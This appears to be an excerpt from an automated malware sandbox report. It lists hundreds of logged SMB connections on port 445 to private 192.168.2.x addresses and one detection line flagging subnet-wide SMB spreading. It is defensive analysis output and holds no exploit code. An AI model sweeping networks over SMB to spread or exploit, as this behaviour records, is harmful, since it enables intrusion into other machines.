Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.225:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.226:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.223:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.224:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.229:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.227:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.228:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.221:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.222:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.220:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.234:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.235:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.232:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.230:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.231:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.71:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.199:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.70:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.73:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.197:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.72:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.198:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.64:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.63:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.66:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.168:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.65:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.169:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.68:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.67:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.69:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.162:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.163:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.160:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.161:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.60:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.166:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.167:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.62:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.164:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.61:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.165:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.170:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.49:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.53:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.52:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.55:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.179:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.54:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.57:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.56:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.59:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.58:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.173:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.174:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.171:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.172:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.177:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.178:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.51:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.175:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.50:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.176:445	Jump to behavior

Connects to many different private IPs via SMB (likely to spread or exploit)

Source: global traffic	TCP traffic: 192.168.2.148:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.149:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.146:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.147:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.140:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.141:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.144:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.145:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.142:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.143:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.159:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.157:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.158:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.151:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.152:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.150:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.155:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.156:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.153:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.154:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.126:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.247:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.127:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.248:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.124:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.245:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.125:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.246:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.128:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.249:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.129:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.240:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.122:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.243:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.123:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.244:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.120:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.241:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.121:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.242:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.97:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.137:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.96:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.138:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.99:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.135:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.98:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.136:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.139:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.250:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.130:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.251:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.91:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.90:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.93:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.133:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.254:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.92:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.134:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.95:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.131:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.252:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.94:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.132:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.253:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.104:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.225:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.105:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.226:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.102:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.223:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.103:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.224:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.108:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.229:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.109:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.106:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.227:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.107:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.228:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.100:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.221:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.101:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.222:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.220:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.115:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.236:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.116:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.237:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.113:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.234:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.114:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.235:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.119:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.117:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.238:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.118:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.239:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.111:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.232:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.112:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.233:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.230:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.110:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.231:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.203:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.204:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.201:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.202:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.207:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.208:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.205:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.206:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.200:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.209:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.214:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.215:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.212:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.213:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.218:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.219:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.216:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.217:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.210:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.211:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.39:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.38:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.42:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.41:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.44:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.43:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.46:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.45:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.48:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.47:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.40:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.28:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.27:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.29:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.31:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.30:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.33:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.32:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.35:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.34:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.37:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.36:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.17:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.16:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.19:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.18:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.20:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.22:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.21:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.24:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.23:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.26:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.25:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.11:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.10:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.13:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.12:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.15:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.14:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.2:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.1:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.180:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.181:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.8:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.7:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.9:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.4:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.3:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.6:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.5:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.86:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.85:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.88:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.87:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.89:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.184:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.185:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.80:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.182:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.183:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.82:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.188:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.81:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.189:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.84:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.186:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.83:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.187:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.191:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.192:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.190:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.75:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.74:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.77:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.76:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.79:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.78:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.195:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.196:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.193:445	Jump to behavior
Source: global traffic	TCP traffic: 192.168.2.194:445	Jump to behavior
